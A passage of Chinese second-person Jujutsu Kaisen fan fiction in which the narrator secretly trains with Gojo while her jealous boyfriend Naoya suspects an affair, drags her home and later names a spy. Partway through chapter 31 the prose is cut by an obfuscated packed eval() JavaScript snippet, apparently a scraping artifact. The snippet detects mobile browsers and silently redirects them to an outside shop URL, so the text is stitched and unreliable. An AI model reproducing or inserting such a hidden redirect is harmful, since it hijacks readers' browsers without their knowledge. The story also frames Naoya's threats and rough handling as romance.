“嗯。”你毫无负担地骗他。你是真的很累,如果不是怕晕倒,你连晚餐都没力气吃。今天你进步了一点点,在刻录无量空处信息后没有吐,但是累和难受都还是存在的,身体依然被掏空。 “不对劲,你的脸色怎么那么差。”他凑近了摄像头仔细观察你,“把脸贴过来我仔细看看,好像瘦了。” “光线问题吧,哪有那么快瘦的。”你早上出门前都有监测自己的身体数据,如果出现过多的体重减轻,你会和五条老师提出结束这个学习,即使想变强,也还是命重要。 “喂,离……你好冷淡。”直哉是那种不吵架就难受的男人,或者说他真的很想要你多多注意他,“你外公什么时候办完东京的事啊?一个墓地还要精挑细选吗?躺在里面不都一样吗?” 你托腮思考:按照现在的进度,认认真真去拓印,至少一个月才能勉强完成雏形。五条老师忙得要命,他只能给你一周时间,所以这一周真的很珍贵。反正回去京都也是上没什么意思的课……唯一的好处是……你若有所思地瞄向直哉精壮的胸肌和美丽的脸。 计算一下日子,你好像已经很久没有在直哉那边睡了。来东京之前训练很忙,来之前那一晚还吵架了……过几天是你的经期,所以起码要到一周后才可以吧? “一周吧。”考虑了方方面面,你还是给出了和之前一样的答案。 “什么啊!你这冷漠的坏猫!都不想我吗?”直哉立刻把不高兴写在了脸上,他相较于其他男人来说更细一些的眉毛不满地蹙起,“之前就说一周,现在我都问你了,就不能减少几天吗?” “可是我大概后天开始经期,早回去也没用吧。”你很现实地指出关键所在。 “什,什么,我是那种人吗?我想你回去难道只是想……”他当然是想的,但是也不光是那样!即使抱着你睡觉什么也不干也是好的,他才不是那种动物一样的下贱雄性! 你不打算继续这个话题,强迫着给自己塞了几口饭,有些疲倦地看向他:“我去洗澡了直哉,先挂了哦。” “那你睡前记得和我说!” “嗯。” 你走进浴室,腿一软没站稳摔倒在地,好不容易爬起来后你开始思考,能不能和五条老师商量一下,至少告诉外公,让他搬来照顾你。 你很快否决了这个提案,让你外公这样的正宗‘老橘子’知道?五条老师疯了才会答应吧。 那……直哉呢? 你又否定了这个想法,首先禅院和五条两家历史上就有仇恨。 其次,你的直哉性格并不成熟,如果让他知道这件事,他很可能……会怀疑五条老师觊觎你,然后要死要活把你拖回去,会闹得很难看。 这听起来非常的离谱,但是你太了解直哉了,他崇拜五条老师的同时也把他设置成了头号的假想情敌。老实说,他会有这样的反应也不是他全责,你是真的慕强慕颜,如果五条老师同意,按照你的人设,确实很可疑… 但是直哉会哭吧,不是带着目的那种美丽流泪,而是歇斯底里的疯狂……还是算了。 洗完澡,你拖着疲劳的身体一点点将自己挪到卧室甩上床,颤抖着手给直哉发了一条信息后就丢开手机一秒入睡。 …… “阿离她到底在瞒着我什么啊?”看着你发来的信息,直哉很不安。 他几乎没有和你分开过,即使你住京都校宿舍,他也经常偷偷溜过来找你,即使不能留宿,一起吃个晚饭他也觉得挺好的。 他自认是一个很容易满足的男人,你打他骂他他都不会和你计较,你偶尔随口乱说的谎言他也懒得拆穿……就连在夜深人静的时候,他也很尊重你的感受,你喊停他绝对会停一会儿,而且他也不热衷于折腾你,传统的那种,他就觉得已经很好了。 可是,现在,即使刚挂掉视频电话,巨大的空虚和不满还是占据了他全部心神,你视频时冷淡的样子好像重锤一样捶打着他的心,提醒着他事情在往不对劲的方向发展。 他烦躁地脱下故意穿小一号的紧绷上衣,垂着头进入浴室,在路过镜子的时候停了下来。 看着镜子里依旧青春逼人的漂亮美人脸,直哉认为他应该很自信才对,有钱有颜有地位,还是特别一级咒术师、炳的首席,除了年龄稍大……大点才会疼人,才知道怎么伺候你这样麻烦的坏猫呢。 心烦意乱地简单冲了澡,直哉赤裸着上身,用浴巾擦着头发往卧室走,一个美貌的侍女谦卑地跪地为他递上浴衣还露出手腕,被直哉不耐烦地伸手挥退:“谁允许你进来的?少爷的身子也是给你看的吗?” 侍女不走,说要服侍少主穿衣,然后被直哉一脚踹翻了她身侧的摆件香炉(未点燃)。 “该死的贱人,是想害死我吗?”看着侍女惊慌失措离开的背影,直哉怒骂一句,他非常明白,要是敢碰别的女人就等着被分手吧,毕竟你是个非常绝情的坏猫,他不觉得你会念旧情。 直哉将擦头发的毛巾随手一丢,然后仿佛被雷劈中一般突兀地想:如果是坏猫和别的男人……那我还会要她吗? “疯了吗,禅院直哉。”他有些自嘲地摇头,虽然他确实没多信任你,但是也不至于发生那样的事吧……你没有那么不挑。 关了灯躺在床上,感受着身侧空空荡荡,直哉睁着眼睛望着漆黑的天花板,心里计算着你回来的日期,突然间,他从床上弹射一般坐了起来,满脸惊恐:“那个碗……不,不对。” 他开始飞速回忆和你视频的细节:你喝味增汤的那个碗,是一年前总监部专门烧制了送给御三家的礼物,因为不太好看,他就没让管家拿出来用。 直哉箭矢一般冲出房间,心中不断自我安慰:也许是家里老头送给乐岩寺的呢?在侍女和仆从惊讶的眼神中他一头扎进库房,一通乒乒乓乓的翻找后,他找到了那套全新的瓷器。看起来并没有被使用过,甚至连开封都还不曾。 “加茂?五条?也许是加茂送给乐岩寺校长的……毕竟加茂宪纪总是讨好乐岩寺老头,想让老头把阿离嫁给他。”直哉喃喃自语,浑身血液都好像凉透了,其实他心里已经有了一个答案,却不敢确认。 要如何确认加茂家的瓷器在库房?先不管这个!他需要确认那个庶子是否和你在一起……直哉来不及叫司机,亲自开车一路狂奔到了郊区的京都校,直接冲破结界闯入了男生寝室。宪纪刚躺下,就见禅院直哉冲进了屋子。 “禅院……先生?”宪纪有些懵地看着怒气冲冲的直哉,心说又在发什么疯。 “浅川离呢?”直哉的眼睛都因为激动而发红,他努力维持着强势的语气,逼问道。 “浅川同学不是和校长在东京办事吗?”宪纪是真的疑惑了,照理说禅院直哉应该知道这件事啊,他怎么那么激动? “……加茂宪纪,我问你,你家有送乐岩寺校长餐具吗?”直哉黑着脸,寻找着最后的希望。 宪纪虽然感到禅院直哉很烦,但是也觉得回答他无伤大雅,他摇摇头:“未曾,加茂家和校长确实交好,但是校长清正廉洁,不曾收下果蔬糕饼以外的节礼。” ‘他说的好像是真的。’听着宪纪笃定的语气。直哉浑身都颤抖,排除了加茂家的嫌疑,剩下的只有他最不愿意面对的答案:五条。 在宪纪一脸困惑地注视下,直哉失魂落魄地离开京都校,他心乱如麻:他亲手养育的玫瑰,此刻并没有住在乐岩寺东京的别墅里,而是在五条悟的家里。她看起来那么累……是不是五条悟对她做了什么…… 他在心里骂你不知死活,你本来就是那么小小的一个,居然还胆大包天去招惹五条悟,他会把你弄死的吧? 他停下脚步,震惊地发现自己居然在幻想女朋友和别的男人,这种剧烈的恶心让他忍不住开始干呕,恐惧和憎恶混合在一起,交织成了最毒的药,蚀骨一般钻心刺骨。他想…杀了五条悟!为什么他已经有了最强的六眼和家主的身份,还要夺走别人最珍贵的…… “不,不能这样轻易下结论。”直哉将车停在路边,他面色如纸,惊慌失措地对自己说,“不能这样轻率下结论,那只是一个碗而已,世界上相似的碗有那么多。而且老头子的品味都是相似的,说不定这只是长得像呢。” 他始终不信你会做出那种事,那不像你!按照你的性格……如果你真的和五条悟看对眼了,你会得意洋洋地宣布,可能还要奚落他一番,然后光明正大地搬到东京去。 是啊,是啊,这样才对! 他哆哆嗦 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“欸?五条老师。”你被五条悟的动静惊醒,睡眼惺忪地支撑起身子,用力睁开眼,“我睡过头了吗?” “小离,直哉电话~”五条悟把电话交给你。 “直哉?”你刚睡醒,声音还有些虚浮,甚至有些粘稠,好像是刚回到人间一般,“直哉?” 电话那头的直哉只觉得目眦欲裂,身上的血液都冻结住了:他们是刚醒吗?在我打电话的时候,他们睡在一起吗……他们昨天晚上做了什么……她看到电话也没管吗?还是说根本无暇顾及这种小事。 他紧紧捏着手机,手指的骨节都发白,他想大声骂你没有良心,骂你狼心狗肺,骂你不顾十几年的情谊,问你这人没有心吗……可是真的要这样做吗?如果真的骂了,你是不是可以顺势跑了?如果撕破脸了,你就会更加没有顾忌了吧?你选择不坦白和五条悟的私情,是不是表示你还想回来…… “没事,手机摁到了。”直哉尽量语气平淡地回应你,掌心都掐烂了,鲜血横流。 “嗯……?摁到了那么多次?”你觉得有点奇怪,“直哉?” “没事,先挂了。” 挂了电话,直哉只觉得自己变成了一具行尸走肉,他甚至开始自我安慰,你的经期马上要到了,那样你就不能……你就会很快回来了!他没来由地想起在那次御三家聚会的时候,你对五条悟好奇,他当时不高兴地质问你,你说‘如果总统来了当然要看啊’。 是啊,你是那么理直气壮,又有着充沛的好奇心,这么罕见的最强五条悟,当然要尝尝咸淡。 那次聚会你只是看了五条悟的热闹,后续也没做什么,一切如常。 这次应该也是一样的,你只是试用一下,还是要回来的。 你对他是满意的,绝对是满意的!每一次相拥他都能感觉到你们的灵魂互相包裹住了对方,如果这样都不算满意,那什么才是满意呢? 他不断寻找着能证明他想要答案的蛛丝马迹,你是那么自私,如果真和五条悟在一起了,总监部一定会忌惮你的外公,乐岩寺是你现在的靠山,你不会,也不可能不顾那个老头,任性地和五条悟在一起的!这不符合你的自私逻辑!对对对,就是这样的,你只是尝了一下他最强的身份和精壮的身体,还有那双该死的好看的六眼! 你选择隐瞒也是给他禅院直哉留了面子,是为了你们两人的将来。 他越想越乱,只觉得脑子如同被无量空处击中一般混乱,一会儿是十几年前,雪团子一样的你跌跌撞撞跟在他身后跑,一会儿又是某个晴夜月,如月光一样美丽皎洁的你,穿着金鱼纹的浴衣托腮坐在他的身边,他在如梦幻般的幻影中伸手想去触碰你,一切又都化成虚影消失。 直哉的思绪没来由地飘回了一个很普通的午后:那天他因为家族事务感到头疼,决定小憩片刻,因为一小时后还有一个家族会议,他吩咐你记得把他叫起来。 他睡得很沉,直到感觉脸颊被什么柔软的东西轻轻戳着。他睁开眼,看到你趴在榻榻米边上,凑得极近,用修剪整齐的莹白指尖小心翼翼地点着他的睫毛,琥珀色的眼睛在光线下好像清透的玻璃珠,倒映着他刚睡醒的茫然。你的银色长发垂落,皮肤在午后的光线下白得几乎透明,整个人散发着柔和的光晕。 “直哉,你睫毛好密哦,讨厌!犯规!男孩子怎么可以那么漂亮!”你嘟囔着,动作无比顺畅地钻进被子里,“哇,这里好暖和,我也要睡觉了。” 你俩不知为何在被子里打闹起来,打着打着就这样抱着又睡过去,会议当然是错过了,可是这段记忆也如同封入琥珀中的珍珠一样,在心底永远闪闪发光。 直哉突然感觉脸上冰冰凉凉的,可能是下雨了吧,他坐在并不敞篷的车里,用手抹去四处横流的雨水。 31.第 31 章 你认为直哉绝对是发现了真相,知道了你和外公都在撒谎。 对此你有些心虚,琢磨着不如真的让外公去东京郊外随便买个墓地,这样就不算撒谎了。 因为身体疲劳、心神不宁,你机械性地吞咽着五条悟切给你的培根煎蛋,连把餐盘里点缀的小花吃进嘴里都浑然未觉。 “小离,还好吗?要休息一下吗?”看着你吃装饰花,五条悟伸手把它从你嘴里拽了出来,同时在心里感叹:我们小离居然也会因为他人而伤神啊,禅院直哉有点东西嘛。 “不用了,五条老师。”你有些缓慢地摇头,并暗下决心要再多努力一点,争取就在这两天完成基础的拓印,然后提早回去京都。虽然一个星期绝对能学到更多,但是直哉好像等不了那么久,他看起来快要碎了。 你确实是个很自私的人,但是这不代表着你没有心,你和直哉从小一起长大,即使你们并不是双胞胎,也产生了一些心电感应,你强烈地感受到他现在的状态很不好。 此刻的进食对你来说完全只是补充能量,你看向餐桌不远处的一小碟温州蜜柑,心说补充一点维生素也挺好的哦? 但是剥桔子后手指会黄黄的,你决定还是不吃了,也没那么爱吃橘子。 五条悟注意到了你眼神的方向,见你久久没有动作,又见你指甲修剪得很干净,粉粉的像小猫肉垫,游刃有余的二十八岁成年男子秒懂你的想法。 他长臂一伸,大手捏过一个蜜柑,三俩下扒干净皮,递到你的嘴边。 你看着蜜柑愣了一下,又想到了直哉,他会掰开了一瓣一瓣喂给你,而且绝对会保留下半部分的橘皮,这样更干净方便……啊…直哉他现在在干什么呢? 五条悟见你一副神游天外的样子,于是他直接把一整个蜜柑塞进了你的嘴里。 你下意识咬住蜜柑,瞬间只觉得吞不进去也吐不出来,你一脸震惊地看向他。 “啊?太大了吗?抱歉抱歉。”五条悟愣了一下,然后笑着取下你口中的蜜柑,掰开两半,一半塞回来,另一半很随意地丢进自己嘴里。 “呜啊。”你们两人一起被超级无敌酸的蜜柑酸到,大概是蜜柑之神在为直哉复仇吧(误)。 吃完早午饭,你催促五条悟快点出发,早学早结束,五条悟摸了摸你的额头,确认了你的大脑没有因为过载而发热后,又拎着你去了训练场地。 照旧是地狱一般痛苦的折磨,但是能学到东西,你也甘之如饴。 晚上你拖着疲惫的身子,到家就给直哉打了视频。 “直哉,你今天怎么回事?打那么多电话……”你知道谎言肯定已经被识破了,于是有些心虚地瞄他。直哉本来就不笨,虽然不知道他是通过什么分析出了你的谎言,但是被他发现其实挺合理的。 “都说了是手机按到了。”直哉看起来有些疲惫,但是强撑着精神,还非常刻意地保持着傲慢的腔调,他随手摘下耳骨上的耳钉擦拭,哼笑,用闲聊的语气问道,“你今天怎么样?墓地看好了吗?” 说这话的时候,你能感觉到他的喉结滚动,好像在紧张的咽口水,擦拭耳钉的动作也有迟钝。 “嗯……也就这两天了。对了,今天下午生理期来了,肚子好痛哦,不过我吃了止痛药。”你用‘身体不适’来示弱,这是一种微乎其微的隐晦道歉:对不起啦直哉,虽然我骗了你,但是我现在肚子痛也很可怜啊。 “什么?提早了吗?”直哉的脸上刹那间出现了一种奇异的光彩,他很是急切地追问,“那你……为什么不回来?” “啊?”你被问懵了,虽然你确实不是一个经期舒适的女性,但是吃了止痛药你还是会去上学、祓除咒灵的,并不会直接在家休息。 直哉好似想到了什么,他本来亮起来的金绿色眸子又暗了下来:“难道……” ‘难道,她和五条悟不是玩玩,而是真爱吗……即使已经不能做那种事了,她也想留在他的身边?我之前的判断难道是错误的?她是……她是喜欢上了五条悟?’ 直哉有些不知道如何面对这样的可能性,他愣在原地。 “网卡了吗?”你见直哉一动不动,便拿起手机走来走去,想找个网好一点的地方。 “我现在就来接你!”直哉终于回神,他几乎是咬着牙,恶狠狠地盯着你的脸,不想错过你任何一瞬的表情,“你在哪里?告诉我地址!我现在来接你回去!!!” 他可以接受你任性地‘使用’五条悟,可是他不能接受你爱上他! “什么?”你被这样的发展惊到,“我,我的痛经这次没有很严重啊,吃了止痛片已经没有什么感觉了。” “浅川离!快告诉我地址!如果你不说,我就满东京去找!一个人一个人去问!总能把你揪出来!”直哉已经听不进去你的任何言语,他面目狰狞,状似地狱中爬出的恶鬼,“我管你痛不痛,你就算痛死也得死在我的身边!给我滚回来!” “……你疯了吗,禅院直哉!”你对直哉的抱歉感,在他说出这种奇怪的话后一下子蒸发了,“你干嘛突然凶我啊?我不是你的出气筒!” “现在!立刻!马上!把地址发到我的手机上,我去取车。”直哉说完就重重摁掉了视频。 你并不确定五条老师是否愿意将私宅地址告知别人,所以你打电话给了伊地知先生,麻烦他把你外公接来,再送你们两人一起去东京高专。 你给五条悟发信息,说身体不适要返回京都。你没好意思说是直哉一定要接你走,这样显得你们很情绪化。你不想在‘成熟度’这件事上让二十七岁的直哉矮二十八岁的五条太多,这也算是一种对直哉的维护吧! 五条悟立刻给你回了电话:“是吗?好遗憾呢,那么保持联系哦小离!你应该已经能拓印出部分了吧?” “大概……只拓印到了百分之一的程度,回去后我会继续努力研究的,五条老师。”你老实回答,犹豫了几秒后主动提出,“五条老师,我们做一个束缚吧。” 其实你并不想给自己增加束缚,但是这毕竟是‘无量空处’,而不是什么随随便便的阿猫阿狗,主动提出来也是……能让你更好受一些,没有被胁迫的意味,算是一种精神胜利法。 “哦?小离居然主动提呢!真是一个好孩子!老师我没有别的要求喔,只要求小离别告诉任何人就行。还有反转术式也是!这也是对小离你的保护。” 你完全理解五条悟所说,他完全正确,你没有多少自保力,也不想给直哉和外公增加麻烦,保持低调是最好的处理方式。 “那……如果,如果有人快死了,我能用反转术式吗?”虽然真到那时候你一定会用,但是还是得到同意后更安心一点。 “那是当然啦!命最重要嘛。”五条悟不假思索。 没多久,伊地知先生就带着你外公到了楼下,你把个人物品稍微收了收就下了楼。 …… “呵,校长也在啊?”直哉的脸上带着些许癫狂的痕迹,从见到你们的那一刻起,他的眼睛就死死黏在你的身上,同时不忘对你外公阴测测地阴阳怪气。 他布满血丝的眼睛里写满了怨毒,好像无时不刻在诅咒一般。在直哉的眼里,眼前的乐岩寺嘉伸就是一个棒打鸳鸯的恶鬼。 他不顾你外公和伊地知先生都在场,直接一个箭步走到你的面前,上手按住你的肩膀,开始上上下下的摸索检查。 “禅院直哉!”乐岩寺恼怒,“别动手动脚的!放开阿离!” “你……没事吧?为什么瘦了,腿上为什么有淤青,难道……还被打了吗?”直哉根本不管嘈杂的背景音,他的金绿色眼眸紧紧盯着你,语气饱含着心疼和怜惜,“……痛吗?” 你被他弄得莫名其妙的,淤青是你在浴室里摔的,体重并没有变化,根本没有瘦! 而且怎么可能会有人莫名其妙来打你一顿啊?五条老师在呢。 “直哉,你好奇怪啊。”你直言,“怎么和应激了一样,要不要去看看医生?” 你是真心建议,他看起来像火山快要喷发一样,虽然你骗人是不对,但是他也不至于气成这样吧? “哈,看医生?是啊,我是应该看医生……我确实是疯了。”听到你的话,他按着你肩膀的双手倏然收紧,力道大到几乎让你痛呼出声,在外公就要拿拐杖打他的前一秒,直哉松了手,表情也瞬间平静下来。 “走吧。”他极力保持着正常,因为他知道不能再说下去了,他怕忍不住把一切都说出来!如果现在撕破脸,你就真的不会回头了!这里是东京,你想回到五条悟的怀抱简直易如反掌,那个辅助监督是个摆设,可是乐岩寺也是一级咒术师,你们祖孙联手会很强…… “外公,还是你开车吧。”你揉着被捏痛的肩膀,在感到不理解的同时做出了非常现实的选择:直哉精神状态不对,如果让他来开车说不定会出车祸,虽然不至于会死,但是骨折什么的也很麻烦吧? 乐岩寺秒懂你的意思,哼地一声从直哉手里拽过车钥匙,告别伊地知后就去了驾驶室。 直哉一秒就懂你在想什么,他哼笑:还是那么自私……五条悟眼瞎了是吗?这样的坏猫他都要吗?还真是饥不择食…… 他满心都是对你的怨恨,却不舍得真的放开你,上车的时候他主动拉着你去了后座,然后像抱着一只真正的猫一样将你禁锢在他的身上。 你有些奇怪他的阴晴不定,刚才好像还想吃了你,现在怎么又愿意抱着了?不过你本来就因为经期而手脚冰凉。有人愿意当人肉坐垫和热水袋,你也乐得如此。于是你非常顺手地攀在了他的身上,挪动身体将自己摆成一个舒服的坐姿,脑袋还拱了拱他的颈窝。 随着汽车平缓开出东京校,你能感受到直哉身体从僵硬慢慢放松下来,他好像犹豫了一下,然后在你脸上啃咬着亲了起来,湿漉漉又细细密密的吻落下,和小狗舔食一样。 ‘好粘人啊直哉,原来是因为我离开太久了吗?也就三天吧。’你自以为找到了他情绪失常的关键,于是你对症下药,捧住他的脸亲了回去。 直哉已经不是少年了,即使长着一张青春逼人的漂亮脸庞,因为是每日锻炼自身的咒术师,他的骨骼量还是在一米八成年男子的标准往上。你捧着他的脸其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115806|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实不太轻松…黑暗中,你用唇描摹了一下他的脸,又顺便摸了摸他的胸肌和腹肌,只觉得他浑身上下都没有几年前那么秀气精致了。但是这不重要,直哉是你从小养大的,你对他会格外宽容的。 ‘你不会离开我的,对吗?”直哉双目微红,他轻声在你耳边问,然后咬紧嘴唇,好像在等待宣判。 “我干嘛要离开。”你没有正面回答。 “直接回答,不许反问!”他更紧地搂着你,甚至让你感觉有些疼了。 “近期不会离开。”你小心谨慎地回答,不是你不愿意说漂亮话,而是因为你们都是咒术师,万一不小心成立什么束缚,那就麻烦大了!到时候就算直哉打你骂你还出轨,你都不能离开,那多糟糕啊! 直哉当然不满意这个回答,但是他也了解你对自己自私又全面的保护,所以他闷哼一声,重重咬了一口你的鼻子,仿佛这样能出气一样。 轿车一个急刹,是你外公在警告他:不许咬人! “外公!好好开车呀!”你害怕直哉说出什么难听的话来,于是赶紧捂住他的嘴,又急急忙忙吩咐驾驶室的外公。 “哼。”这是外公给你的回应。 其实你也很想直哉,窗外漆黑一片,车子摇摇晃晃的很催眠,于是你在他的怀抱里安稳入睡。 等你醒来时发现还在直哉怀里,衣服和卫生用品都被换过了,浑身上下都干干净净的。身下躺着的是那张云朵一般的欧式大床,身边又有你的‘爱人’,这几天在东京吃的苦受的累,好像一下子烟消云散了。 直哉还没有醒来,你就趴在他胸口端倪他的睡颜,震惊发现他的眼角居然还有泪痕! ‘难道昨天晚上直哉抱着我大哭到睡着吗?’你无法想象那个诡异的画面,决定等他醒来后和他好好谈谈,到底是什么地方有误会了?根据你对直哉的了解,他也许是在怀疑五条老师…… 你确实非常了解他,精准想到了问题的关键所在。 你有些无所事事,于是依偎着他热乎乎的身体开始玩手机游戏,考虑到直哉好像没有休息好,你贴心地把游戏关了静音,简直是好猫!大好猫! 因为你窸窸窣窣的小动静,没过多久直哉就醒了,他先是有些警惕地在床上抓了一把,触摸到你的身体后才放松下来。他带着起床气咕哝几声,反身把你整个压住,还用脑袋蹭蹭。 “很重!”你意思意思推了推他,反正知道推不开。 因为直哉没有开口的意思,你决定由你开门见山,“直哉,你……你是不是怀疑我和五条老师?” 他的身体瞬间僵住了,人也清醒了。 “什么,没有,和五条悟有什么关系,你为什么老提他?”他故作镇定地回答。可是你能感觉到他浑身肌肉都紧紧绷着,称呼也从悟君变成了五条悟。 “我不知道你在猜什么,反正……我和五条老师清清白白!什么都没有!”你很少会好心给人做解释,所以你也有些词穷,“你不要胡思乱想,我确实和五条老师有些私事不能告诉你,但是绝对不是身体上的关系!” 你认为话都说到这里已经很明白了。 可是你的直哉现在是惊弓之鸟,他有先入为主的想法,再加上他对五条悟那难以言明的崇拜和忌惮,让他完全想到了另一层意思:好消息是你和五条悟没有身体关系,你的身体依然独属于他。坏消息是你和五条悟有了精神上的共鸣,正在产生类似爱情的东西,还有了他不能知道的秘密。 他俊俏的小脸白了白,心虚低头,用艰涩干巴的声音慢吞吞地回答:“我什么时候说过你们有那种关系了?别胡思乱想!真自作多情……呵,你没发现他的女性朋友都很高吗?真自恋啊你这只小矮猫。” 你对于直哉的倒打一耙和戳你身高痛点感觉有些不爽,但是他看起来真的有点可怜,所以你罕见地没有回呛他,只是气鼓鼓地扭开头。 “说到身体。”他伸手将你的手抓住攥紧拉过去,再用刻意黏糊的关西腔舔着你的耳朵低语,“我现在想要。” 你本来就在不爽中,当然是推他的脸:“变态!” 推不动。 看你狼狈狂推但是无事发生,直哉居然开心地笑了起来,终于恢复了那副欠揍的屑人样子。 “打洗你!”你在他的胸口超高速来了一顿‘猫拳’,因为情绪激动,你说话的时候还咬到了舌头,发音也变得含糊。痛感延迟了一秒才到,你停下拳头,呜的一声捂住嘴哭了出来,太痛了! “离?!”见你泪眼汪汪,直哉立刻慌张起来,他赶紧捏住你的下巴,撑开你的口腔想看看舌头咬断了没(?),然后被你狠狠一口咬住。 “松口!” 你不松口,眼神倔强,和乌龟一样挂在他的手上。 “浅川离!”直哉不是那种会礼让女孩子的绅士,他当然要咬回来。 你们就像小猫小狗一样在床上咬来咬去,扑来扑去,枕头和被子翻飞,枕头里的天鹅绒飘洒到你们的头发上,好像白头到老一般。五条悟的疑云还没有完全散开,但是起码在这一刻,禅院直哉确信浅川离是完全属于他的。 32.第 32 章 你们在卧室里打闹了好久,最后你一不留神被直哉扣进怀里禁锢住,他在你的颈窝又亲又闻,单方面的“失而复得”让他的黏糊劲儿达到了一个新的峰值,你吐槽直哉是那种还没有睁眼,不会汪只会呜咽的小狗。 “哼,能被本少爷亲徕是你的荣幸。”略微尝了甜头的直哉又有力气和你斗嘴了,通过亲密的肢体接触温度互换,他自觉千疮百孔的心大部分已经愈合。虽然他依然怀疑五条悟影响了你,但是他决定见好就收,放下过去,享受当下。他慢条斯理心满意足地套上外衣,又吩咐门外的侍女拿了热的玫瑰花茶给你。 虽然昨晚睡的挺好的,但是你的身体其实还很是疲倦,喝了几口花茶后你的困意再度袭来,半睁着眼睛就想躺回去补觉,直哉把你拦住,喂你吃了几勺牛奶麦片,又拿了丝绸的眼罩给你戴上,然后才把你轻轻丢回床上。 等你再次醒来已经是下午,直哉在你身边陪着睡觉,屋外有侍女小声通报,说京都校的庵歌姬老师来访。 你有些意外歌姬老师怎么来了,不过既然老师来了就要去见,你从直哉的怀里爬出,他被你的动作弄醒,听说庵歌姬来了,他不自觉地皱眉。 现在的他不想让你单独见任何人,特别是庵歌姬这种‘五条悟熟人’!他开始胡思乱想,这个京都校巫女是不是来传递情书的?就像幕府时期的那种帮人偷情的比丘尼一样。 他软磨硬泡,最终目的达成,和你一起去了客厅见了歌姬。 谈话间,庵歌姬有些奇怪禅院直哉的眼神为什么如此警惕,不过她本来就觉得禅院有些人性格不怎么好,所以也没有深究。 她考虑到没有支开禅院直哉的可能性,干脆就不管他。歌姬言简意赅地说了和五条悟抓内鬼的事,现在确定内鬼在京都,其他就没有什么进展,五条悟建议她来问问你。 歌姬老师有点疑惑,乐岩寺校长一派怎么好像和五条关系很近的样子,连抓内鬼这样的事情,五条都充分信任你(虽然你确实嫌疑很小)。 你还没有开口,在边上听了全部的直哉就抱着手臂,轻蔑又傲慢地哼笑起来。 你们一起奇怪地转头看他,又在发什么疯。 “你们两个准一级实力不足,犹豫不决我可以理解,五条悟身为最强也如此蠢笨吗?”他现在连‘悟君’都不叫了,“有什么好找的,内鬼肯定是机械丸。” “啊?”你俩都有些诧异,他怎么那么笃定啊? “我的女朋友肯定不是内鬼,不然五条悟也不会让你来找她商量了。”直哉抬着下巴看歌姬,逐一排除,“禅院真依、西宫桃、三轮霞肯定不是内鬼,一个吊车尾,两个平民,她们连接触高层情报的可能性都没有。” 歌姬老师闻言若有所思,虽然她也用过排除法,但是没有禅院直哉这样确信,可能还是因为她和学生们太熟悉了。 你有些惊讶地看向直哉:啊!他是什么时候开始长脑子的,怎么没有通知我啊? “加茂宪纪是加茂少主,做内鬼代价太大,排除,东堂葵是肌肉大猩猩,排除。至于一年级那个谁?他人都还没认全吧?”直哉结束自信发言,一脸得意地看向你,大概是在说:看吧,你的男朋友很聪明吧? 虽然他的表现形式非常欠扁,但是他说的好有道理。 歌姬老师放下了一部分对禅院直哉的轻视,她喝了一口茶,下定决心一般:“禅院先生说的很有道理,我去和五条商量一下。” 等送歌姬老师离开,你用带着光彩的眼神看向直哉。 “呵,崇拜吗?”直哉一把拦腰把你抱起,“走了,去吃饭。” 你想让他放你下来,你自己可以走!但是因为你的男朋友第一次给你长了脸,慕强的你心里升腾起一种很新奇的甜蜜。于是你亲亲热热地伸手搂住他的脖子,放任他抱着你大摇大摆走去餐厅。 在你们身后的廊下,一位低眉顺目的美貌侍女将你们的‘浪荡’行径看得一清二楚。她慢慢退到阴影里,趁着无人注意离开了禅院。 …… “啧啧,浅川氏是昨天半夜回来的,禅院直哉开车出去,开车回来的居然是乐岩寺嘉伸,浅川氏真是太‘孝顺’了,肯定是为了和男人卿卿我我,才安排年近八十的外公开车。”加茂康诚用混合了羡慕和不屑的语气,在帘外嘀嘀咕咕地汇报。 “哦?知道她在东京做什么吗?”帘内青年问不紧不慢地问。 “恕曾孙不知……太爷爷,乐岩寺嘉伸也滞留东京好几日,估计是处理什么家务事吧,最近东京地价有所回落,说不定是老头在给孙女置办婚前财产。”加茂康诚啧啧几声,“老狐狸乐岩寺家底挺厚的,如果小狐狸品行好一些,倒也不是不能做加茂家的宗妇,不行不行,她没在娘胎里待够,肯定身体不好,到时候子嗣有碍,还是不适合,不适合。” “……哦,她在东京,五条悟是什么反应?” “五条悟?这一周他似乎也忙的很,神龙见首不见尾,几乎没有出现在高专里……啊,难道说!”加茂康诚老脸一红,“难道说,浅川氏和五条悟也……” “慎言!”羂索觉得这个加茂家主真的是个愚不可及的蠢货,脑子里永远都只有下三路,还没有什么常识,和他讲话真是浪费脑细胞!如果浅川离真的和那个自诩‘天上天下,唯我独尊’的五条悟有那种关系,作为最强的五条悟干嘛把她放回京都? 这个‘小辈’实在是蠢笨,他没好气地让他走(滚)了。 加茂康诚一步三回头地走出檀香缭绕的屋子,太阳光落在脸上,他的心思也活络了起来。 ‘太爷爷一天到晚问浅川离的事情,他不喜欢听我说她和其他男人。嗯…嗯??太爷爷他……声音听起来挺年轻的,他是不是还有需求啊…难道说?!’ 加茂康诚智商大幅度上升,他好像猜中了这位强大祖先的意图! ‘太爷爷一定是看上浅川氏了!!我每次说她的花边新闻,他都不高兴呢……’ ‘哼哼,乐岩寺家的小狐狸精……把禅院直哉哄成胎盘,和五条悟不清不楚,宪纪都对她评价极高,太爷爷也对她大感兴趣。’ ‘啧,玛丽苏。’他用从二十岁侧室那边学来的词语在心里唾弃了一下,抬头看见正好回家的宪纪迎面而来,突然有了一个绝妙的主意! …… “哎?又有御三家宴会,好烦哦。”你躺在沙发上吃薯片,看电视,顺便把脚放在直哉热乎乎的肚子上汲取热量。 “脚冰死了。这次又是加茂家主办的,他们还真爱聚会啊,就和咒灵一样,越是弱的越喜欢群聚……”直哉一边说别人坏话一边嫌弃你,他伸手拉过你的脚用双手捂住,凤眼斜睨,“我说,你少吃点垃圾食品吧,怎么和那个禅院真希一模一样。” “因为我和真希酱都是十几岁的小姑娘啊。”你故意用年龄去激直哉,“不像有人哦,男人过了二十五岁开始走下坡路了。” 